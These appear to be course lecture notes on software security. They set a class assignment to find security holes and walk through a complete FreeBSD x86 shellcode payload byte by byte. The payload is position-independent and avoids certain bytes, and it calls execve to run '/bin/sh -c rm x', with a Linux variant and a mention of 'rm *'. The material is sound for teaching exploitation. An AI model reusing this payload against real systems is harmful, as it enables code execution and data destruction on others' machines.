Jerusalem Post, 2004.09.28:

“Jerusalem envelope security fence may be too low

“The defense establishment is considering raising the height of the security fence . . . The current height of the fence is 8 meters (26 feet).

“According to a report on Israel Radio on Tuesday, defense officials want to raise the height because Palestinians have been seen climbing the barrier and crossing over into Israeli territory.

“The officials estimate that adding another 3 meters to the height of the fence would make the barrier more effective.”

This week's assignment:
Start finding security holes!

Announce on class mailing list
when you start (or stop)
looking at a program.

Can use class FreeBSD computer
as standardized environment
for breaking into programs;
also, to read mailing list.

A typical payload for FreeBSD

This payload avoids bytes 00, 09, 23.
Effect: Removes file named x.

```
Bytes           Explanation
eb 47           ip += 71
59              cx = *sp++
89 ca           dx = cx
83 c2 18        dx += 24
89 11           *(int*)cx = dx
31 c0           ax ^= ax
89 41 04        *(int*)(cx+4) = ax
83 c2 13        dx += 19
89 51 08        *(int*)(cx+8) = dx
83 c2 08        dx += 8
89 51 0c        *(int*)(cx+12) = dx
```

```
83 c2 03        dx += 3
89 51 10        *(int*)(cx+16) = dx
89 41 14        *(int*)(cx+20) = ax
88 41 2a        *(char*)(cx+42)= ax
88 41 32        *(char*)(cx+50)= ax
88 41 35        *(char*)(cx+53)= ax
88 41 3a        *(char*)(cx+58)= ax
51              *--sp = cx
83 c1 08        cx += 8
51              *--sp = cx
83 c1 20        cx += 32
83 c1 03        cx += 3
51              *--sp = cx
83 c0 3b        ax += 59
50              *--sp = ax
cd 80           syscall
```

```
31 c0             ax ^= ax
50                *--sp = ax
40                ++ax
50                *--sp = ax
cd 80             syscall
e8 b4 ff ff ff *--sp = ip; ip-=76
61 62 63 64 65 66
67 68 69 6a 6b 6c
6d 6e 6f 70 71 72
73 74 75 76 77 78
50 41 54 48 3d 2f  "PATH=/"
62 69 6e 3a 2f 75  "bin:/u"
73 72 2f 62 69 6e  "sr/bin"
20 2f 62 69 6e 2f  " /bin/"
73 68 20 2d 63 20  "sh -c "
72 6d 20 78 2e     "rm x."
```

Suppose the payload starts at location 122 (decimal!) in memory.

stack	cx	ip before	insn	ip after
		122	ip+=71	124
		195	*--sp=ip;	
			ip-=76	200
200		124	cx=*sp++	125
	200	125	...	...

Now cx points 78 bytes through payload: i.e., it points to the 61 62 63 64 etc.

This is true no matter where payload starts. "Position-independent code." (Alternatives using more target-specific knowledge: know or guess &payload; or look at sp; or look at bp; or . . .)

`dx=cx;dx+=24;*(int*)cx=dx`

replaces `0x64636261` with `224`.

`ax^=ax;*(int*)(cx+4)=ax`

replaces `0x68676665` with `0`.

`dx+=19;*(int*)(cx+8)=dx`

replaces `0x6c6b6a69` with `243`.

`dx+=8;*(int*)(cx+12)=dx`

replaces `0x706f6e6d` with `251`.

`dx+=3;*(int*)(cx+16)=dx`

replaces `0x74737271` with `254`.

`*(int*)(cx+20)=ax`

replaces `0x78777675` with `0`.

`*(char*)(cx+42)=ax`

replaces one byte with `0`.

Then `cx+50`, `cx+53`, `cx+58`:

three more bytes.

Memory contents now:

122...199: beginning of payload.
200...203: 224.
204...207: 0.
208...211: 243.
212...215: 251.
216...219: 254.
220...223: 0.
224...242: `"PATH=/bin:/usr/bin"`
243...250: `"/bin/sh"`
251...253: `"-c"`
254...258: `"rm x"`

The four strings are now 0-terminated.

```
*--sp=cx;
cx+=8;*--sp=cx;
cx+=32;cx+=3;*--sp=cx;
ax+=59;*--sp=ax;syscall
```

says `syscall(59,243,208,200)`
which under FreeBSD means
`execve(243,208,200)`.

Linux equivalent: `dx=cx;bx=cx;`
`bx+=43;cx+=8;ax+=11;syscall`.

What does `execve` do?

```
execve("/bin/sh"
       ,{"/bin/sh","-c","rm x",0}
       ,{"PATH=/bin:/usr/bin",0})
```

stops running this program
and starts running `/bin/sh`.

(Just in case the `execve` fails,
the second `syscall` exits program.)

Inside `/bin/sh`, `main` is given
arguments `/bin/sh`, `-c`, `rm x`.
Same as running `/bin/sh -c 'rm x'`
from the command line.

`main` is also given environment
`PATH=/bin:/usr/bin`.

What does `/bin/sh -c 'rm x'` do?
`/bin/sh` runs `rm x`.
Could have run `rm` directly,
but more complicated commands are
easier through `sh`: e.g., `rm *`.

What does `rm x` do?
Removes file named `x`.